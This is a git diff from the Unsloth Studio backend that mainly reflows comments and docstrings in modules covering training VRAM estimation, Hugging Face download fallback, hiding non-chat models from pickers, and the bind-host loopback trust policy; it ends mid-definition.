-421,8 +381,7 @@ def get_physical_gpu_inventory() -> dict[str, Any]:def get_backend_visible_gpu_info(parent_visible_ids: Optional[list[int]], backend_cuda_visible_devices: Optional[str]) -> dict[str, Any]:- # parent_visible_ids None (UUID/MIG mask): can't map nvidia-smi rows to- # visible devices.+ # parent_visible_ids None (UUID/MIG mask): cannot map nvidia-smi rows to visible devices.if parent_visible_ids is None:return {"available": False,diff --git a/studio/backend/utils/hardware/vram_estimation.py b/studio/backend/utils/hardware/vram_estimation.pyindex d38fe7b3a87..e97462e1d1e 100644--- a/studio/backend/utils/hardware/vram_estimation.py+++ b/studio/backend/utils/hardware/vram_estimation.py@@ -1,14 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-"""-Training VRAM estimation.--Total VRAM = weights + LoRA adapters + optimizer states + gradients- + activations + CUDA overhead.-Activation formula from unsloth_zoo/vllm_utils.py.-All constants empirically calibrated against Llama-3.2-1B on B200.-"""+"""Training VRAM estimation: weights + LoRA adapters + optimizer states + gradients + activations + CUDA overhead. Activation formula from unsloth_zoo/vllm_utils.py; all constants empirically calibrated against Llama-3.2-1B on B200."""from __future__ import annotations@@ -143,11 +136,7 @@ class VramBreakdown:)def min_gpu_vram(self, n_gpus: int) -> int:- """Min VRAM one GPU needs: its shard + non-shardable costs.-- Weights/LoRA/optimizer/gradients shard across GPUs; activations do- NOT (the GPU running a layer holds them).- """+ """Min VRAM one GPU needs: its shard plus non-shardable costs. Weights/LoRA/optimizer/gradients shard across GPUs; activations do NOT, since the GPU running a layer holds them."""shardable = self.model_weights + self.lora_adapters + self.optimizer_states + self.gradientsper_gpu_fixed = self.activations + self.cuda_overheadreturn shardable // max(n_gpus, 1) + per_gpu_fixed@@ -165,16 +154,14 @@ class VramBreakdown:def _first_scalar(value):- # ERNIE MoE ships moe_intermediate_size / moe_num_experts as- # [routed, shared] lists; downstream arithmetic needs the routed scalar.+ # ERNIE MoE ships moe_intermediate_size / moe_num_experts as [routed, shared] lists; downstream arithmetic needs the routed scalar.if isinstance(value, (list, tuple)):return value[0] if value else Nonereturn valuedef _max_scalar(value):- # Hunyuan-V1-MoE moe_topk can be a per-layer list; activation accounting- # uses max top-k as a conservative upper bound.+ # Hunyuan-V1-MoE moe_topk can be a per-layer list; activation accounting uses max top-k as a conservative upper bound.if isinstance(value, (list, tuple)):items = [v for v in value if v is not None]return max(items) if items else None@@ -183,25 +170,20 @@ def _max_scalar(value):def _compute_dense_layer_indices(text_config, total_layers: int) -> tuple:"""Layer indices that use dense MLP instead of MoE. Position matters."""- # Exaone-MoE / Laguna / Hy_v3 / GLM-MoE-DSA / GLM4-MoE-Lite / Ernie4_5_VL_MoE- # prefer per-position `mlp_layer_types` over prefix `first_k_dense_replace`.+ # Exaone-MoE / Laguna / Hy_v3 / GLM-MoE-DSA / GLM4-MoE-Lite / Ernie4_5_VL_MoE prefer per-position `mlp_layer_types` over prefix `first_k_dense_replace`.layer_types = getattr(text_config, "mlp_layer_types", None)if layer_types:return tuple(i for i, t in enumerate(layer_types[:total_layers]) if str(t).lower() == "dense")- # Llama4TextConfig.__init__ auto-populates self.moe_layers from- # interleave_moe_layer_step; Llama4TextDecoderLayer dispatches via- # `layer_idx in config.moe_layers` (modeling_llama4.py).+ # Llama4TextConfig.__init__ auto-populates self.moe_layers from interleave_moe_layer_step; Llama4TextDecoderLayer dispatches via `layer_idx in config.moe_layers` (modeling_llama4.py).llama4_moe_layers = getattr(text_config, "moe_layers", None)if llama4_moe_layers is not None:moe_indices = {int(i) for i in llama4_moe_layers}return tuple(i for i in range(total_layers) if i not in moe_indices)- # ERNIE 4.5 (VL) MoE: layers via moe_layer_start/end_index + interval;- # per-layer guard `(layer_idx+1) % interval == 0` within [start, end]- # (modeling_ernie4_5_moe.py).+ # ERNIE 4.5 (VL) MoE: layers via moe_layer_start/end_index + interval, with per-layer guard `(layer_idx+1) % interval == 0` within [start, end] (modeling_ernie4_5_moe.py).moe_start = getattr(text_config, "moe_layer_start_index", None)moe_interval = getattr(text_config, "moe_layer_interval", None)if moe_start is not None and moe_interval is not None and int(moe_interval) > 0:@@ -261,8 +243,7 @@ def extract_arch_config(hf_config) -> Optional[ModelArchConfig]:num_kv_heads = getattr(text_config, "num_key_value_heads", num_heads)- # DBRX places its MoE attrs on the DbrxFFNConfig sub-config; probe- # ffn_config as a secondary source so DBRX isn't misclassified as dense.+ # DBRX places its MoE attrs on the DbrxFFNConfig sub-config; probe ffn_config as a secondary source so DBRX is not misclassified as dense.ffn_config = getattr(text_config, "ffn_config", None)def _moe_attr(name):@@ -286,8 +267,7 @@ def extract_arch_config(hf_config) -> Optional[ModelArchConfig]:if moe_intermediate_raw is None:moe_intermediate_raw = _moe_attr("ffn_hidden_size")moe_intermediate = _first_scalar(moe_intermediate_raw)- # Exaone-MoE / ERNIE alias num_shared_experts / moe_num_shared_experts- # to the canonical n_shared_experts.+ # Exaone-MoE / ERNIE alias num_shared_experts / moe_num_shared_experts to the canonical n_shared_experts.n_shared_experts = (_first_scalar(_moe_attr("n_shared_experts"))or _first_scalar(_moe_attr("num_shared_experts"))@@ -297,8 +277,7 @@ def extract_arch_config(hf_config) -> Optional[ModelArchConfig]:shared_expert_intermediate_size = _moe_attr("shared_expert_intermediate_size")if shared_expert_intermediate_size and n_shared_experts == 0:n_shared_experts = 1- # DBRX moe_top_k; Hunyuan-V1-MoE moe_topk (may be a per-layer list).- # _max_scalar normalizes lists to the worst case so int(...) cannot crash.+ # DBRX moe_top_k; Hunyuan-V1-MoE moe_topk may be a per-layer list, which _max_scalar normalizes to the worst case so int(...) cannot crash.num_experts_per_tok = (_max_scalar(_moe_attr("num_experts_per_tok"))or _max_scalar(_moe_attr("top_k_experts"))@@ -312,8 +291,7 @@ def extract_arch_config(hf_config) -> Optional[ModelArchConfig]:dense_layer_indices = _compute_dense_layer_indices(text_config, num_layers)num_dense_layers = len(dense_layer_indices)- # Llama4 dense layers use intermediate_size_mlp; experts use- # intermediate_size. One shared_expert per MoE layer (modeling_llama4.py).+ # Llama4 dense layers use intermediate_size_mlp while experts use intermediate_size, with one shared_expert per MoE layer (modeling_llama4.py).intermediate_size_mlp_raw = _first_scalar(_moe_attr("intermediate_size_mlp"))dense_intermediate_size = (int(intermediate_size_mlp_raw) if intermediate_size_mlp_raw is not None else None@@ -406,8 +384,7 @@ def _layer_types(arch: ModelArchConfig) -> list:def _uses_structured_layer_shapes(arch: ModelArchConfig) -> bool:- # MLA configs have their own q/kv low-rank projection shape formulas- # Do not let head_dim or other structured fields override that path.+ # MLA configs have their own q/kv low-rank projection shape formulas; do not let head_dim or other structured fields override that path.if arch.q_lora_rank is not None:return Falsereturn bool(@@ -425,9 +402,7 @@ def _is_kv_shared_layer(arch: ModelArchConfig, layer_idx: int) -> bool:if arch.num_kv_shared_layers <= 0:return Falsefirst_shared = arch.num_hidden_layers - arch.num_kv_shared_layers- # Gemma4 uses the same `> 0` guard, so a fully-shared config raises at model construction:- # matching upstream avoids estimating a shape the model code rejects.- # Gemma4's guard is at modeling_gemma4.py:1031 / modular_gemma4.py:863.+ # Gemma4 uses the same `> 0` guard, so a fully-shared config raises at model construction: matching upstream avoids estimating a shape the model code rejects (modeling_gemma4.py:1031 / modular_gemma4.py:863).return layer_idx >= first_shared > 0@@ -438,9 +413,7 @@ def _is_dense_mlp_layer(arch: ModelArchConfig, layer_idx: int) -> bool:def _per_layer_input_quantizable(arch: ModelArchConfig) -> int:- # Gemma4 PLE block adds per_layer_model_projection (single Linear),- # per_layer_input_gate (per layer), and per_layer_projection (per layer);- # see gemma4/modular_gemma4.py:1077-1083 and :1247-1253.+ # Gemma4 PLE block adds per_layer_model_projection (single Linear), per_layer_input_gate (per layer) and per_layer_projection (per layer); see gemma4/modular_gemma4.py:1077-1083 and :1247-1253.pli = arch.hidden_size_per_layer_inputif pli <= 0:return 0@@ -459,8 +432,7 @@ def _per_layer_input_norm_elements(arch: ModelArchConfig) -> int:def _per_layer_input_lora_params(arch: ModelArchConfig, r: int, target_modules) -> int:- # get_peft_regex requires a component tag (mlp/attn/...); PLE names lack- # one, so all-linear skips them. Count PLE LoRA only when named explicitly.+ # get_peft_regex requires a component tag (mlp/attn/...); PLE names lack one, so all-linear skips them. Count PLE LoRA only when named explicitly.pli = arch.hidden_size_per_layer_inputif pli <= 0:return 0@@ -580,16 +552,14 @@ def _module_path_matches(skip_module: str, alias: str) -> bool:if alias_parts[0] == "layers":return skip_parts == alias_partsif len(skip_parts) <= len(alias_parts):- # BNB suffix-matches short skip entries (["q_proj"], ["lm_head"]) so a- # skip shorter than the alias is a tail match.+ # BNB suffix-matches short skip entries (["q_proj"], ["lm_head"]), so a skip shorter than the alias is a tail match.return alias_parts[-len(skip_parts) :] == skip_partsif skip_parts[-len(alias_parts) :] != alias_parts:return Falseprefix_parts = skip_parts[: len(skip_parts) - len(alias_parts)]if not prefix_parts:return True- # Bound the prefix to text-tower roots so VLM keys like vision_tower.model.layers do not shadow- # the text alias.+ # Bound the prefix to text-tower roots so VLM keys like vision_tower.model.layers do not shadow the text alias.return ".".join(prefix_parts) in _SKIP_MODULE_TEXT_PREFIXES@@ -622,8 +592,7 @@ def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int],mlp_dims = {name: dim for name, dim in dims.items() if name in MLP_TARGET_MODULES}if is_mla:- # MLA splits q/o into q_a/q_b/kv_a/kv_b; emit a single self_attn- # aggregate at the authoritative MLA per-layer total.+ # MLA splits q/o into q_a/q_b/kv_a/kv_b; emit a single self_attn aggregate at the authoritative MLA per-layer total.layer_modules["self_attn"] = _compute_attn_elements(arch)else:for name, (in_dim, out_dim) in attn_dims.items():@@ -641,13 +610,10 @@ def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int],layer_modules["mlp.experts"] = _compute_routed_moe_elements(arch)shared_moe = _compute_shared_moe_elements(arch)if shared_moe:- # Qwen3.5-MoE: mlp.shared_expert; Exaone-MoE/Laguna/GLM:- # mlp.shared_experts. Register both so skip_modules match.+ # Qwen3.5-MoE: mlp.shared_expert; Exaone-MoE/Laguna/GLM: mlp.shared_experts. Register both so skip_modules match.layer_modules["mlp.shared_expert"] = shared_moeif arch.moe_has_dense_mlp:- # enable_moe_block runs dense MLP and experts in parallel;- # register both. Non-structured _get_mlp_size prefers- # moe_intermediate_size, so rebuild dense dims directly.+ # enable_moe_block runs dense MLP and experts in parallel, so register both; non-structured _get_mlp_size prefers moe_intermediate_size, so rebuild dense dims directly.if _uses_structured_layer_shapes(arch):dense_dims = mlp_dimselse:@@ -670,8 +636,7 @@ def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int],)if pli > 0:- # Register PLE per-layer linears so llm_int8_skip_modules entries- # like model.layers.0.per_layer_input_gate match.+ # Register PLE per-layer linears so llm_int8_skip_modules entries like model.layers.0.per_layer_input_gate match.layer_modules["per_layer_input_gate"] = hd_global * plilayer_modules["per_layer_projection"] = pli * hd_global@@ -680,9 +645,7 @@ def _build_text_module_elements(arch: ModelArchConfig) -> tuple[Dict[str, int],for name, value in layer_modules.items()if name == "self_attn" or name.startswith("self_attn."))- # gemma4 enable_moe_block puts routed experts at sibling- # layers.<i>.experts, not under self.mlp; keep the "mlp" aggregate to- # the dense path so a `model.layers.0.mlp` skip doesn't over-skip.+ # gemma4 enable_moe_block puts routed experts at sibling layers.<i>.experts, not under self.mlp; keep the "mlp" aggregate to the dense path so a `model.layers.0.mlp` skip does not over-skip.is_sibling_experts = bool(arch.moe_has_dense_mlp)mlp_total = sum(value@@ -760,8 +723,7 @@ def _get_mlp_size(arch: ModelArchConfig) -> int:def _dense_mlp_size(arch: ModelArchConfig) -> int:- # Llama4 dense layers use intermediate_size_mlp; routed/shared experts use- # intermediate_size. Other configs leave the field None.+ # Llama4 dense layers use intermediate_size_mlp while routed/shared experts use intermediate_size; other configs leave the field None.return arch.dense_intermediate_size or arch.intermediate_size@@ -791,9 +753,7 @@ def _compute_dense_mlp_elements(arch: ModelArchConfig) -> int:def _shared_expert_size(arch: ModelArchConfig) -> int:- # Qwen3.5-MoE shared expert has its own intermediate_size (default 512)- # distinct from moe_intermediate_size; fall back to routed mlp_size for- # families that share it (deepseek-style configs).+ # Qwen3.5-MoE's shared expert has its own intermediate_size (default 512), distinct from moe_intermediate_size; fall back to routed mlp_size for families that share it (deepseek-style configs).return arch.shared_expert_intermediate_size or _get_mlp_size(arch)@@ -809,8 +769,7 @@ def _compute_shared_moe_elements(arch: ModelArchConfig) -> int:hd = arch.hidden_sizeshared_size = _shared_expert_size(arch)total = hd * shared_size * 3 * arch.n_shared_experts- # Only Qwen2/Qwen3.5-MoE add a shared_expert_gate Linear (hidden_size->1);- # shared_expert_intermediate_size is the Qwen-style discriminator.+ # Only Qwen2/Qwen3.5-MoE add a shared_expert_gate Linear (hidden_size->1); shared_expert_intermediate_size is the Qwen-style discriminator.if arch.shared_expert_intermediate_size:total += arch.n_shared_experts * hdreturn total@@ -821,10 +780,7 @@ def _compute_moe_mlp_elements(arch: ModelArchConfig) -> int:def _compute_layer_elements(arch: ModelArchConfig):- """Return (total_quantizable, layernorms_per_layer, embed, lm_head) element counts.-- total_quantizable is summed across ALL layers (not per-layer).- """+ """Return (total_quantizable, layernorms_per_layer, embed, lm_head) element counts, where total_quantizable is summed across ALL layers, not per-layer."""hd = arch.hidden_sizen_layers = arch.num_hidden_layersn_experts = _get_num_experts(arch)@@ -849,8 +805,7 @@ def _compute_layer_elements(arch: ModelArchConfig):n_moe = n_layers - n_densemoe_mlp_total = _compute_moe_mlp_elements(arch) * n_moeif arch.moe_has_dense_mlp:- # enable_moe_block runs dense MLP and MoE experts in parallel;- # count dense for every layer alongside MoE.+ # enable_moe_block runs dense MLP and MoE experts in parallel; count dense for every layer alongside MoE.mlp_total = sum(per_layer_dense_mlp) + moe_mlp_totalelse:dense_only_total = sum(@@ -965,11 +920,7 @@ def _embedding_leaves(target_modules) -> set:def _full_weight_embedding_elements(arch: ModelArchConfig, target_modules) -> int:- """embed_tokens/lm_head cost a full matrix each, not a low-rank pair.-- Unsloth redirects them into modules_to_save. A tied pair also gets- ensure_weight_tying, which collapses them to one trainable matrix.- """+ """embed_tokens/lm_head cost a full matrix each, not a low-rank pair, since Unsloth redirects them into modules_to_save. A tied pair also gets ensure_weight_tying, which collapses them to one trainable matrix."""selected = len(_embedding_leaves(target_modules))if arch.tie_word_embeddings:selected = min(selected, 1)@@ -1014,9 +965,7 @@ def compute_lora_params(arch: ModelArchConfig, lora_rank: int, target_modules: lif n_experts > 1:n_dense = arch.num_dense_layersn_moe = n_layers - n_dense- # peft "all-linear" attaches LoRA to nn.Linear only; routed experts are nn.Parameter and need explicit- # naming, while shared experts are nn.Linear and get_peft_regex picks them up.- # Routed experts need explicit gate_proj/up_proj/down_proj naming via Unsloth's get_moe_target_parameters.+ # peft "all-linear" attaches LoRA to nn.Linear only: shared experts are nn.Linear and get_peft_regex picks them up, while routed experts are nn.Parameter and need explicit gate_proj/up_proj/down_proj naming via Unsloth's get_moe_target_parameters.routed_moe = (0if all_linear@@ -1058,10 +1007,7 @@ def compute_lora_params(arch: ModelArchConfig, lora_rank: int, target_modules: lattn_total = _lora_attn_elements(arch, r, selected_modules) * n_layersn_dense = arch.num_dense_layersn_moe = n_layers - n_dense- # Routed and shared experts may use different intermediate sizes (Qwen3.5-MoE), and only routed nn.Parameter- # experts are excluded under all-linear.- # Qwen3.5-MoE has routed mlp_size != shared_expert_intermediate_size; see the structured branch for the all-- # linear exclusion rationale.+ # Routed and shared experts may use different intermediate sizes (Qwen3.5-MoE routed mlp_size != shared_expert_intermediate_size), and only routed nn.Parameter experts are excluded under all-linear; see the structured branch for that rationale.routed_moe = (0if all_linear@@ -1128,8 +1074,7 @@ def compute_gradient_bytes(trainable_params: int) -> int:def _is_linear_attention(attention_implementation: Optional[str]) -> bool:- # PyTorch SDPA dispatches to flash/memory-efficient O(n) backends; only- # eager (and other non-flash impls) need the quadratic correction.+ # PyTorch SDPA dispatches to flash/memory-efficient O(n) backends; only eager (and other non-flash impls) need the quadratic correction.return attention_implementation in LINEAR_ATTENTION_IMPLS@@ -1145,16 +1090,13 @@ def _layer_qkv_mlp_sizes(arch: ModelArchConfig, layer_idx: int) -> tuple:is_moe_layer = n_experts > 1 and not _is_dense_mlp_layer(arch, layer_idx)if _uses_structured_layer_shapes(arch):q_size, kv_size, _has_k, _has_v = _layer_attention_dims(arch, layer_idx)- # KV-shared layers (Gemma4/Gemma3n) drop k/v WEIGHTS but the donor's- # K/V tensors stay alive, so activations still pay kv_size; only the- # weight path uses has_k/has_v.+ # KV-shared layers (Gemma4/Gemma3n) drop k/v WEIGHTS but the donor's K/V tensors stay alive, so activations still pay kv_size; only the weight path uses has_k/has_v.layer_type = _layer_types(arch)[layer_idx]use_alt_attention = arch.attention_k_eq_v and layer_type != "sliding_attention"kv_count = 1 if use_alt_attention else 2qkv_size = q_size + kv_size * kv_countif is_moe_layer:- # Each token routes through num_experts_per_tok experts; all their- # gate/up/down intermediates are live during MLP forward.+ # Each token routes through num_experts_per_tok experts; all their gate/up/down intermediates are live during MLP forward.mlp_size = _get_mlp_size(arch) * arch.num_experts_per_tokif arch.n_shared_experts:mlp_size += _shared_expert_size(arch) * arch.n_shared_experts@@ -1182,8 +1124,7 @@ def _per_layer_activation_bytes(activation_qkv = seq_len * batch_size * qkv_sizeresidual_memory = (seq_len * batch_size) * 2activation_mlp = seq_len * batch_size * (mlp_size + mlp_size)- # PLE gate (hd) + projection (pli) outputs materialize once per decoder- # layer when hidden_size_per_layer_input is set (gemma4 modular:1141-1145).+ # PLE gate (hd) + projection (pli) outputs materialize once per decoder layer when hidden_size_per_layer_input is set (gemma4 modular:1141-1145).pli = arch.hidden_size_per_layer_inputactivation_ple = seq_len * batch_size * (arch.hidden_size + pli) if pli > 0 else 0return int((activation_qkv + residual_memory + activation_mlp + activation_ple) * 2 * 1.25)@@ -1216,8 +1157,7 @@ def compute_activation_bytes()linear_bytes = int(max_layer_bytes * effective_layers)- # gemma4 per_layer_model_projection runs once outside the per-decoder loop- # and materializes a [B, S, L, PLI] tensor; see modular_gemma4.py:1247.+ # gemma4 per_layer_model_projection runs once outside the per-decoder loop and materializes a [B, S, L, PLI] tensor; see modular_gemma4.py:1247.pli = arch.hidden_size_per_layer_inputif pli > 0:linear_bytes += int(seq_len * batch_size * n_layers * pli * 2 * 1.25)diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.pyindex f3b6aafcba8..00837ebeb1b 100644--- a/studio/backend/utils/hf_xet_fallback.py+++ b/studio/backend/utils/hf_xet_fallback.py@@ -42,7 +42,6 @@ DEFAULT_HTTP_STALL_TIMEOUT = 180.0# The worker runs snapshot_download(max_workers=1), so every finished shard is already a blob and is skipped.DEFAULT_XET_ATTEMPTS = 2-# --- lazy shared-backend loader ----------------------------------------------------------------_shared: Any = None_shared_available: Optional[bool] = None_shared_import_error: Optional[BaseException] = None@@ -344,7 +343,6 @@ def _as_int(value: str) -> "Optional[int]":# would each read the same untouched `available` and promise the whole machine. Reservations bridge# that window, counting only the unmaterialized remainder: once buffers are resident `available` has# already dropped by them, and charging the promise again would double-count for the worker's life.-# --- concurrent-worker budget ledger -------------------------------------------------------------_budget_lock = threading.RLock()# token -> [bytes, pid or None, monotonic stamp]_budget_reservations: "dict[int, list]" = {}@@ -656,7 +654,6 @@ def xet_attempts() -> int:return min(value, 8)-# --- degraded stubs (used only when unsloth_zoo is unavailable) -------------------------------class _DegradedDownloadStallError(RuntimeError):"""Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode."""@@ -768,7 +765,6 @@ def _degraded_snapshot_download_with_xet_fallback(# Resolved via PEP 562 so importing them triggers the heavy load and the light names do not.# The light names, `child_should_disable_xet` / `DEFAULT_*`, are importable from utils.hf_xet_fallback without# triggering the load.-# --- lazy attribute access for the heavy shared API -------------------------------------------_DEGRADED_ATTRS = {"DownloadStallError": _DegradedDownloadStallError,"get_hf_download_state": _degraded_get_hf_download_state,diff --git a/studio/backend/utils/hidden_models.py b/studio/backend/utils/hidden_models.pyindex 023cb0299d1..351557f2538 100644--- a/studio/backend/utils/hidden_models.py+++ b/studio/backend/utils/hidden_models.py@@ -1,11 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Infra-only model detection shared by the model routes and the hub-inventory. Lives directly under ``utils`` (not ``utils.models``) so the hub-cache scanner can import it without pulling in ``utils/models/__init__.py``,-which eagerly loads the model-config/checkpoint stack, and without importing-``routes.models`` (import-time side effects, would cycle)."""+"""Infra-only model detection shared by the model routes and the hub inventory. Lives directly under ``utils`` (not ``utils.models``) so the hub cache scanner can import it without pulling in ``utils/models/__init__.py``, which eagerly loads the model-config/checkpoint stack, and without importing ``routes.models`` (import-time side effects, would cycle)."""from __future__ import annotations@@ -14,14 +10,12 @@ import refrom pathlib import Pathfrom typing import Optional-# Hub repo id shape ("owner/name", no leading separator); anything else is-# treated as a local filesystem path.+# Hub repo id shape ("owner/name", no leading separator); anything else is treated as a local filesystem path._HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$")# The llama.cpp install-validation probe repo. Always hidden._PROBE_REPO_ID = "ggml-org/models"-# The probe's on-disk filename. Carries the ".gguf" so it stays specific and-# does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.+# The probe's on-disk filename. Carries the ".gguf" so it stays specific and does not hide unrelated repos like ``user/stories260K-finetune-GGUF``._PROBE_FILENAME = "stories260k.gguf"# Keep previously cached defaults hidden after settings changes._DEFAULT_EMBEDDING_REPO_IDS = {@@ -30,10 +24,7 @@ _DEFAULT_EMBEDDING_REPO_IDS = {}# Local copies do not always retain the repo id._DEFAULT_EMBEDDING_PATH_BASENAMES = {"bge-small-en-v1.5"}-# Curated dictation checkpoints (STT, never chat), hidden from chat inventory and pickers. The-# GGUF companions carry a raw .bin with no config.json, so config sniffing cannot catch them and-# they must be listed by id; the Qwen3-ASR GGUFs likewise, since llama.cpp loads one as a chat-# model that only answers with transcripts.+# Curated dictation checkpoints (STT, never chat), hidden from chat inventory and pickers. The GGUF companions carry a raw .bin with no config.json, so config sniffing cannot catch them and they must be listed by id; the Qwen3-ASR GGUFs likewise, since llama.cpp loads one as a chat model that only answers with transcripts._HIDDEN_STT_REPO_IDS = frozenset({"unsloth/whisper-tiny",@@ -52,10 +43,7 @@ _HIDDEN_STT_REPO_IDS = frozenset()_HIDDEN_STT_REPO_IDS_LOWER = frozenset(repo_id.lower() for repo_id in _HIDDEN_STT_REPO_IDS)-# Curated Audio-page TTS checkpoints, which stay VISIBLE but must not be chat-loadable: a chat-# turn on one comes back as synthesized speech. Listed by id because config sniffing cannot catch-# them (Orpheus/OuteTTS are LlamaForCausalLM, Spark is Qwen2ForCausalLM) and a GGUF companion-# carries no tokenizer_config for the codec probe.+# Curated Audio-page TTS checkpoints, which stay VISIBLE but must not be chat-loadable: a chat turn on one comes back as synthesized speech. Listed by id because config sniffing cannot catch them (Orpheus/OuteTTS are LlamaForCausalLM, Spark is Qwen2ForCausalLM) and a GGUF companion carries no tokenizer_config for the codec probe._CURATED_TTS_REPO_IDS = frozenset({"unsloth/orpheus-3b-0.1-ft",@@ -78,11 +66,7 @@ def is_curated_tts_repo_id(value: str | None) -> bool:def is_curated_stt_repo_id(value: str | None) -> bool:- """True only for Unsloth's exact curated STT Hub repositories.-- Still hidden from chat, but task-scoped inventory consumers need the real cache rows- so the Audio page need not reimplement size, format, variants and lifecycle.- """+ """True only for Unsloth's exact curated STT Hub repositories. Still hidden from chat, but task-scoped inventory consumers need the real cache rows so the Audio page need not reimplement size, format, variants and lifecycle."""return bool(value and value.strip().lower() in _HIDDEN_STT_REPO_IDS_LOWER)@@ -167,20 +151,10 @@ def _path_basename_is_default_embedder(value: str) -> bool:def is_hidden_model(*values: str | None) -> bool:- """True if any id/path is the RAG embedding model (the effective embedder- or its GGUF companion repo), the llama.cpp install validation probe- (ggml-org/models / stories260K), or a curated/custom Whisper dictation- model, so pickers hide them (GGUF and non-GGUF). None are usable chat- models; the probe can be cached as a side effect of installing the prebuilt- llama-server and otherwise sorts smallest, so it would be auto-selected.-- Hub repo ids are matched EXACTLY (case-insensitive full "owner/name"), so a- custom embedder with a generic basename like "org/model" cannot substring- hide unrelated cached repos such as "user/model-chat" or "org/model-GGUF".- Existing paths take precedence over the identical ``owner/name`` repo- shape. Cache and LM Studio paths use exact repo-derived segments. Local- copies of the static default embedder also use a boundary-aware basename- fallback; configured custom repos never do."""+ """True if any id/path is the RAG embedding model (the effective embedder or its GGUF companion repo), the llama.cpp install validation probe (ggml-org/models / stories260K), or a curated/custom Whisper dictation model, so pickers hide them (GGUF and non-GGUF). None are usable chat models, and the probe can be cached as a side effect of installing the prebuilt llama-server and otherwise sorts smallest, so it would be auto-selected.++ Hub repo ids are matched EXACTLY (case-insensitive full "owner/name"), so a custom embedder with a generic basename like "org/model" cannot substring hide unrelated cached repos such as "user/model-chat" or "org/model-GGUF". Existing paths take precedence over the identical ``owner/name`` repo shape, cache and LM Studio paths use exact repo-derived segments, and local copies of the static default embedder also use a boundary-aware basename fallback, which configured custom repos never do.+ """from core.rag import config as rag_confighidden_repo_ids = {@@ -213,9 +187,7 @@ def is_hidden_model(*values: str | None) -> bool:if low in hidden_repo_ids:return Truecontinue- # Split on both separators so a Windows-style path is matched on a POSIX interpreter and vice versa.- # Anything else is a filesystem path: the probe is matched by its exact filename (stories260K.gguf) and a- # configured local-path embedder by exact resolved path.+ # Split on both separators so a Windows-style path is matched on a POSIX interpreter and vice versa. Anything else is a filesystem path: the probe is matched by its exact filename (stories260K.gguf) and a configured local-path embedder by exact resolved path.if low.replace("\\", "/").rsplit("/", 1)[-1] == _PROBE_FILENAME:return Trueif _path_basename_is_default_embedder(v):diff --git a/studio/backend/utils/host_policy.py b/studio/backend/utils/host_policy.pyindex 265d27d8439..6ca4902cfb3 100644--- a/studio/backend/utils/host_policy.py+++ b/studio/backend/utils/host_policy.py@@ -1,16 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Bind-host trust policy for the Unsloth backend.--Stdlib only -- safe to import without the rest of the backend.--`is_external_host` mirrors the CLI's `unsloth_cli/_tool_policy.py`: a loopback-bind is the user's own machine, any other address is network-reachable. The-logic is duplicated rather than shared because the backend is self-contained-(see run.py: "can be moved to any directory") and runs from a venv that may not-have `unsloth_cli` on sys.path. Keep the two in sync.-"""+"""Bind-host trust policy for the Unsloth backend. Stdlib only, so it is safe to import without the rest of the backend. `is_external_host` mirrors the CLI's `unsloth_cli/_tool_policy.py`: a loopback bind is the user's own machine, any other address is network-reachable. The logic is duplicated rather than shared because the backend is self-contained (see run.py: "can be moved to any directory") and runs from a venv that may not have `unsloth_cli` on sys.path. Keep the two in sync."""from __future__ import annotations@@ -18,14 +9,10 @@ import ipaddressimport osimport socket-# Only the exact aliases the rest of the stack hard-codes for loopback: other 127.0.0.0/8 addresses are deliberately-# left out, since they are not supported launch hosts.-# Health checks, banner URLs and run.py all hard-code 127.0.0.1.+# Only the exact aliases the rest of the stack hard-codes for loopback (health checks, banner URLs and run.py all hard-code 127.0.0.1); other 127.0.0.0/8 addresses are deliberately left out, since they are not supported launch hosts._LOOPBACK_HOSTS = frozenset({"127.0.0.1", "localhost", "::1"})-# Whether a loopback launch in THIS process auto-enabled the gate.-# run_server normally runs once per process, but if it is reused with a different host (embedders, tests) we only ever-# take back a value we set ourselves.+# Whether a loopback launch in THIS process auto-enabled the gate. run_server normally runs once per process, but if it is reused with a different host (embedders, tests) we only ever take back a value we set ourselves._auto_enabled = False_remote_connector_active = False_lan_connector_active = False@@ -186,13 +173,11 @@ def published_url_host(host: str) -> str:def dial_host(host: str) -> str:- """Authority host for a URL this process dials itself. The IPv6 zone id stays literal: httpx- hands the RFC 6874 escaping `published_url_host` applies to the resolver unchanged."""+ """Authority host for a URL this process dials itself. The IPv6 zone id stays literal: httpx hands the RFC 6874 escaping `published_url_host` applies to the resolver unchanged."""return f"[{host}]" if ":" in host else host-# Self-call address resolution. A `--host` other than a wildcard binds one interface only, so-# loopback is not served and a hardcoded `127.0.0.1` self-call cannot connect.+# Self-call address resolution. A `--host` other than a wildcard binds one interface only, so loopback is not served and a hardcoded `127.0.0.1` self-call cannot connect.LOOPBACK_FALLBACK_HOST = "127.0.0.1"@@ -214,24 +199,21 @@ def scope_request_host(server) -> "str | None":def prefer_loopback(current: "str | None", candidate: str) -> str:- """Keep loopback once seen: a wildcard bind reports whichever interface each request arrived- on, and that address can change while the loopback it also serves stays valid."""+ """Keep loopback once seen: a wildcard bind reports whichever interface each request arrived on, and that address can change while the loopback it also serves stays valid."""if current is not None and is_loopback_host(current):return currentreturn candidatedef self_request_host(app_state, server = None) -> str:- """`server_request_host` is authoritative - run_server publishes it from the live listener- sockets; the scope pair covers running outside run_server."""+ """`server_request_host` is authoritative, since run_server publishes it from the live listener sockets; the scope pair covers running outside run_server."""published = getattr(app_state, "server_request_host", None)if isinstance(published, str) and published:return publishedreturn scope_request_host(server) or LOOPBACK_FALLBACK_HOST-# Tauri desktop webview origins. api-only serving (the desktop app calling a-# local backend) locks CORS to these.+# Tauri desktop webview origins. api-only serving (the desktop app calling a local backend) locks CORS to these._TAURI_CORS_ORIGINS = ("tauri://localhost","http://tauri.localhost",@@ -242,30 +224,17 @@ _TAURI_CORS_ORIGINS = (def 